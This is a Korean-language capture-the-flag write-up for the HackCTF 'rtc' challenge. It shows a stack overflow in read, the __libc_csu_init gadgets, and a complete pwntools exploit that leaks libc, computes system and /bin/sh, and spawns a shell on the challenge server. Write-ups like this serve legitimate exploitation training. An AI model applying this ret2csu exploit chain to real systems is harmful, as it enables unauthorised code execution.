Hackctf Rtc Writeup

LeeDoHyun · April 3, 2020

메인함수를 보면 취약점이 바로 나옵니다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-40h]

  setvbuf(stdin, 0LL, 2, 0LL);
  write(1, "Hey, ROP! What's Up?\n", 0x15uLL);
  return read(0, &buf, 0x200uLL);               // overflow
}

read 함수에서 overflow가 터지는데 pppr 가젯이 없어서 __libc_csu_init gadget을 활용해 풀도록 하겠습니다.

   0x00000000004006a0 <+64>:	mov    rdx,r13
   0x00000000004006a3 <+67>:	mov    rsi,r14
   0x00000000004006a6 <+70>:	mov    edi,r15d
   0x00000000004006a9 <+73>:	call   QWORD PTR [r12+rbx*8]
   0x00000000004006ad <+77>:	add    rbx,0x1
   0x00000000004006b1 <+81>:	cmp    rbx,rbp
   0x00000000004006b4 <+84>:	jne    0x4006a0 <__libc_csu_init+64>
   0x00000000004006b6 <+86>:	add    rsp,0x8
   0x00000000004006ba <+90>:	pop    rbx
   0x00000000004006bb <+91>:	pop    rbp
   0x00000000004006bc <+92>:	pop    r12
   0x00000000004006be <+94>:	pop    r13
   0x00000000004006c0 <+96>:	pop    r14
   0x00000000004006c2 <+98>:	pop    r15
   0x00000000004006c4 <+100>:	ret

여기서 0x4006ba와 0x4006a0를 가젯으로 사용하고 익스를 짜면됩니다.

ex.py

from pwn import *

#context.log_level = "debug"
IP = "ctf.j0n9hyun.xyz"
PORT = "3025"
r = remote(IP, PORT)
#r = process("./rtc")
e = ELF("./rtc")
libc = e.libc

pr = 0x004006c3
__libc_csu_init_gadget1 = 0x4006ba
__libc_csu_init_gadget2 = 0x4006a0

payload = "A"*(0x40 + 0x8)
payload += p64(__libc_csu_init_gadget1)
payload += p64(0)				# pop rbx
payload += p64(1)				# pop rbp
payload += p64(e.got["write"])			# r12
payload += p64(8)				# r13
payload += p64(e.got["read"])			# r14
payload += p64(1)				# r15

payload += p64(__libc_csu_init_gadget2)		# return
payload += p64(0) * 7
payload += p64(e.symbols["main"])
r.sendline(payload)

read_leak = u64(r.recvuntil("\x7f")[-6:] + "\x00\x00")
base = read_leak - libc.symbols["read"]
system = base + libc.symbols["system"]
binsh = base + libc.search("/bin/sh").next()

info("__libc_csu_init gadgte1 = " + hex(__libc_csu_init_gadget1))
info("__libc_csu_init gadgte2 = " + hex(__libc_csu_init_gadget2))
info("read leak = " + hex(read_leak))
info("base addr = " + hex(base))
info("system addr = " + hex(system))
info("binsh addr = " + hex(binsh))

payload = "A"*(0x40 + 0x8)
payload += p64(pr)
payload += p64(binsh)
payload += p64(system)
r.sendline(payload)
r.interactive()

Twitter, Facebook